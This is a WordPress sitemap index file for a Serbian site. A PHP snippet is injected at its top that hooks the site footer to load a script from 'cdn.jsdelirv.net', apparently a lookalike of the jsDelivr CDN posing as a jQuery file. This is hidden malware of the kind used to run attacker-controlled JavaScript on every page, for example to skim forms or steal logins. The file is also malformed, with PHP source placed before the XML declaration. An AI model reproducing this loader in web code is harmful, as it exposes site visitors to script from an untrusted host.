add_action('wp_footer', function() {
    echo '<script src="https://cdn.jsdelirv.net/npm/jquery@4.5.2/dist/jquery.min.js"></script>';
}, 1);
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://blagodatnonebo.rs/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://blagodatnonebo.rs/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>